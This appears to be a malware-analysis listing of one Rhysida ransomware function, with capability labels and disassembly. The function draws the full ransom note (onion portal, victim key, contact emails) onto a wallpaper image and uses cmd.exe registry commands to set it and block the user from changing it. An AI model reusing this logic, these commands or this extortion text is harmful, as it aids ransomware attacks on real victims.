Function at 0x418798
Capabilities:
Execute command
Read file on windows
Set registry value

Disassembly:
push rbp
sub rsp, 0x3b0
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x320], xmm6
mov dword [rbp + 0x2fc], 0x780
mov dword [rbp + 0x2f8], 0x438
mov dword [rbp + 0x2f4], 0x28
mov dword [rbp + 0x2f0], 0x14
mov dword [rbp + 0x2ec], 0x64
mov byte [rbp + 0x2eb], 0x15
mov eax, dword [rbp + 0x2fc]
imul eax, dword [rbp + 0x2f8]
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2e0], rax
mov dword [rbp + 0x318], 0
jmp 0x41887b
mov dword [rbp + 0x31c], 0
jmp 0x418866
mov eax, dword [rbp + 0x318]
imul eax, dword [rbp + 0x2fc]
mov edx, eax
mov eax, dword [rbp + 0x31c]
add eax, edx
mov dword [rbp + 0x2a8], eax
mov eax, dword [rbp + 0x2a8]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e0]
add rdx, rax
movzx eax, byte [rbp + 0x2eb]
mov byte [rdx], al
add dword [rbp + 0x31c], 1
mov eax, dword [rbp + 0x31c]
cmp eax, dword [rbp + 0x2fc]
jl 0x418826
add dword [rbp + 0x318], 1
mov eax, dword [rbp + 0x318]
cmp eax, dword [rbp + 0x2f8]
jl 0x41881a
lea rax, [rbp + 0x1a0]
lea rdx, str.C:_Windows_Fonts_Arial.ttf
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [rbp + 0x1a0]
lea rdx, [0x0046a34b]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x2d8], 0
je 0x418df9
mov rax, qword [rbp + 0x2d8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp + 0x2d4], eax
mov rax, qword [rbp + 0x2d8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov eax, dword [rbp + 0x2d4]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2c8], rax
mov eax, dword [rbp + 0x2d4]
movsxd rdx, eax
mov rcx, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x2c8]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x2c8]
lea rax, [rbp - 0x40]
mov r8d, 0
mov rcx, rax
call fcn.0041099f
test eax, eax
je 0x418df9
mov dword [rbp + 0x310], 0
mov dword [rbp + 0x30c], 0
mov dword [rbp + 0x308], 1
mov dword [rbp + 0x314], 0
jmp 0x418a17
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
cmp al, 0xd
je 0x418a10
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
cmp al, 0xa
jne 0x418a09
mov eax, dword [rbp + 0x30c]
cmp eax, dword [rbp + 0x310]
jle 0x4189f6
mov eax, dword [rbp + 0x30c]
mov dword [rbp + 0x310], eax
mov dword [rbp + 0x30c], 0
add dword [rbp + 0x308], 1
jmp 0x418a10
add dword [rbp + 0x30c], 1
add dword [rbp + 0x314], 1
mov edx, dword [rbp + 0x314]
mov eax, dword [0x0044c8f8]
cmp edx, eax
jb 0x4189ac
mov eax, dword [rbp + 0x2f4]
lea edx, [rax + rax]
mov eax, dword [rbp + 0x2fc]
sub eax, edx
add eax, eax
cdq
idiv dword [rbp + 0x310]
cvtsi2sd xmm0, eax
cvttsd2si eax, xmm0
mov dword [rbp + 0x2c4], eax
mov eax, dword [rbp + 0x2f0]
lea edx, [rax + rax]
mov eax, dword [rbp + 0x2f8]
sub eax, edx
cdq
idiv dword [rbp + 0x308]
cvtsi2sd xmm0, eax
cvttsd2si eax, xmm0
mov dword [rbp + 0x2c0], eax
mov eax, dword [rbp + 0x2c4]
cmp dword [rbp + 0x2c0], eax
cmovle eax, dword [rbp + 0x2c0]
mov dword [rbp + 0x2bc], eax
cvtsi2ss xmm0, dword [rbp + 0x2bc]
lea rax, [rbp - 0x40]
movaps xmm1, xmm0
mov rcx, rax
call fcn.00407316
movd eax, xmm0
mov dword [rbp + 0x2b8], eax
lea r8, [rbp + 0x84]
lea rcx, [rbp + 0x88]
lea rdx, [rbp + 0x8c]
lea rax, [rbp - 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.004070c7
mov eax, dword [rbp + 0x8c]
cvtsi2ss xmm0, eax
mulss xmm0, dword [rbp + 0x2b8]
call fcn.00449150
cvttss2si eax, xmm0
mov dword [rbp + 0x8c], eax
mov eax, dword [rbp + 0x88]
cvtsi2ss xmm0, eax
mulss xmm0, dword [rbp + 0x2b8]
call fcn.00449150
cvttss2si eax, xmm0
mov dword [rbp + 0x88], eax
mov eax, dword [rbp + 0x84]
cvtsi2ss xmm0, eax
mulss xmm0, dword [rbp + 0x2b8]
call fcn.00449150
cvttss2si eax, xmm0
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x2f4]
mov dword [rbp + 0x304], eax
mov dword [rbp + 0x300], 0
mov dword [rbp + 0x314], 0
jmp 0x418de5
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
cmp al, 0xd
je 0x418dde
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
cmp al, 0xa
jne 0x418baa
mov eax, dword [rbp + 0x2f4]
mov dword [rbp + 0x304], eax
add dword [rbp + 0x300], 1
jmp 0x418dde
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
movzx edx, al
lea r8, [rbp + 0x7c]
lea rcx, [rbp + 0x80]
lea rax, [rbp - 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.00407080
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
movzx edx, al
movss xmm1, dword [rbp + 0x2b8]
movss xmm0, dword [rbp + 0x2b8]
lea rax, [rbp - 0x40]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x38], rcx
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x74]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x78]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm1
movaps xmm2, xmm0
mov rcx, rax
call fcn.004077e8
mov edx, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x74]
add eax, edx
mov dword [rbp + 0x2b4], eax
cvtsi2ss xmm6, dword [rbp + 0x304]
mov eax, dword [rbp + 0x7c]
cvtsi2ss xmm0, eax
mulss xmm0, dword [rbp + 0x2b8]
call fcn.00449150
addss xmm6, xmm0
movaps xmm1, xmm6
mov eax, dword [rbp + 0x2b4]
imul eax, dword [rbp + 0x2fc]
cvtsi2ss xmm0, eax
addss xmm1, xmm0
mov edx, dword [rbp + 0x84]
mov eax, dword [rbp + 0x2bc]
add eax, edx
imul eax, dword [rbp + 0x300]
imul eax, dword [rbp + 0x2fc]
cvtsi2ss xmm0, eax
addss xmm1, xmm0
mov eax, dword [rbp + 0x2f0]
imul eax, dword [rbp + 0x2fc]
cvtsi2ss xmm0, eax
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x2b0], eax
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
movzx edx, al
mov ecx, dword [rbp + 0x6c]
mov eax, dword [rbp + 0x74]
sub ecx, eax
mov r9d, ecx
mov ecx, dword [rbp + 0x70]
mov eax, dword [rbp + 0x78]
sub ecx, eax
mov r8d, ecx
mov eax, dword [rbp + 0x2b0]
movsxd rcx, eax
mov rax, qword [rbp + 0x2e0]
add rcx, rax
lea rax, [rbp - 0x40]
mov dword [rsp + 0x38], edx
movss xmm0, dword [rbp + 0x2b8]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [rbp + 0x2b8]
movss dword [rsp + 0x28], xmm0
mov edx, dword [rbp + 0x2fc]
mov dword [rsp + 0x20], edx
mov rdx, rcx
mov rcx, rax
call fcn.0040b114
cvtsi2ss xmm6, dword [rbp + 0x304]
mov eax, dword [rbp + 0x80]
cvtsi2ss xmm0, eax
mulss xmm0, dword [rbp + 0x2b8]
call fcn.00449150
addss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [rbp + 0x304], eax
mov eax, dword [rbp + 0x314]
add eax, 1
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
movzx ecx, al
mov eax, dword [rbp + 0x314]
movsxd rdx, eax
lea rax, str.Critical_Breach_Detected___Immediate_Response_Required_r_n_r_nDear_company__r_n_r_nThis_is_an_automated_alert_from_cybersecurity_team_Rhysida._An_unfortunate_situation_has_arisen___your_digital_ecosystem_has_been_compromised__r_nand_a_substantial_amount_of_confidential_data_has_been_exfiltrated_from_your_network._The_potential_ramifications_of_this_could_be_dire__r_nincluding_the_sale__publication__or_distribution_of_your_data_to_competitors_or_media_outlets._This_could_inflict_significant_reputational_and_financial_damage._r_n_r_nHowever__this_situation_is_not_without_a_remedy._r_n_r_nOur_team_has_developed_a_unique_key__specifically_designed_to_restore_your_digital_security._This_key_represents_the_first_and_most_crucial_step_r_nin_recovering_from_this_situation._To_utilize_this_key__visit_our_secure_portal:_rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion__use_Tor_browser__r_nwith_your_secret_key_5JYTMVYIW2F5EC2F7LASYLWGTUKAC55H_r_nor_write_email:_AndresProhaska_onionmail.org__SlyviaErdman_onionmail.org_r_n_r_nIts_vital_to_note_that_any_attempts_to_decrypt_the_encrypted_files_independently_could_lead_to_permanent_data_loss._We_strongly_advise_against_such_actions._r_n_r_nTime_is_a_critical_factor_in_mitigating_the_impact_of_this_breach._With_each_passing_moment__the_potential_damage_escalates._Your_immediate_action_r_nand_full_cooperation_are_required_to_navigate_this_scenario_effectively._r_n_r_nRest_assured__our_team_is_committed_to_guiding_you_through_this_process._The_journey_to_resolution_begins_with_the_use_of_the_unique_key._r_nTogether__we_can_restore_the_security_of_your_digital_environment._r_n_r_nBest_regards_r_n
movzx eax, byte [rdx + rax]
movzx edx, al
lea rax, [rbp - 0x40]
mov r8d, ecx
mov rcx, rax
call fcn.00407017
mov dword [rbp + 0x2ac], eax
cvtsi2ss xmm6, dword [rbp + 0x304]
cvtsi2ss xmm0, dword [rbp + 0x2ac]
mulss xmm0, dword [rbp + 0x2b8]
call fcn.00449150
addss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [rbp + 0x304], eax
add dword [rbp + 0x314], 1
mov edx, dword [rbp + 0x314]
mov eax, dword [0x0044c8f8]
cmp edx, eax
jb 0x418b5e
lea rax, [rbp + 0x90]
lea rdx, str.C:_Users_Public_bg.jpg
mov rcx, rax
call sub.msvcrt.dll_sprintf
mov r8d, dword [rbp + 0x2f8]
mov edx, dword [rbp + 0x2fc]
lea rax, [rbp + 0x90]
mov ecx, dword [rbp + 0x2ec]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x2e0]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, rax
call fcn.004164c4
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call fcn.0044ae60
lea rcx, str.cmd.exe__c_reg_delete__HKCUContol_PanelDesktop___v_Wallpaper__f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_delete__HKCUConttol_PanelDesktop___v_WallpaperStyle__f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktop___v_NoChangingWallPaper__t_REG_SZ__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktop___v_NoChangingWallPaper__t_REG_SZ__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_add__HKCUControl_PanelDesktop___v_Wallpaper__t_REG_SZ__d__C:UsersPublic_bg.jpg___f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_Wallpaper__t_REG_SZ__d__C:UsersPublic_bg.jpg___f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_WallpaperStyle__t_REG_SZ__d_2__f
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_reg_add__HKCUControl_PanelDesktop___v_WallpaperStyle__t_REG_SZ__d_2__f
call sub.msvcrt.dll_system
lea rcx, str.rundll32.exe_user32.dll_UpdatePerUserSystemParameters
call sub.msvcrt.dll_system
nop
movaps xmm6, xmmword [rbp + 0x320]
add rsp, 0x3b0
pop rbp
ret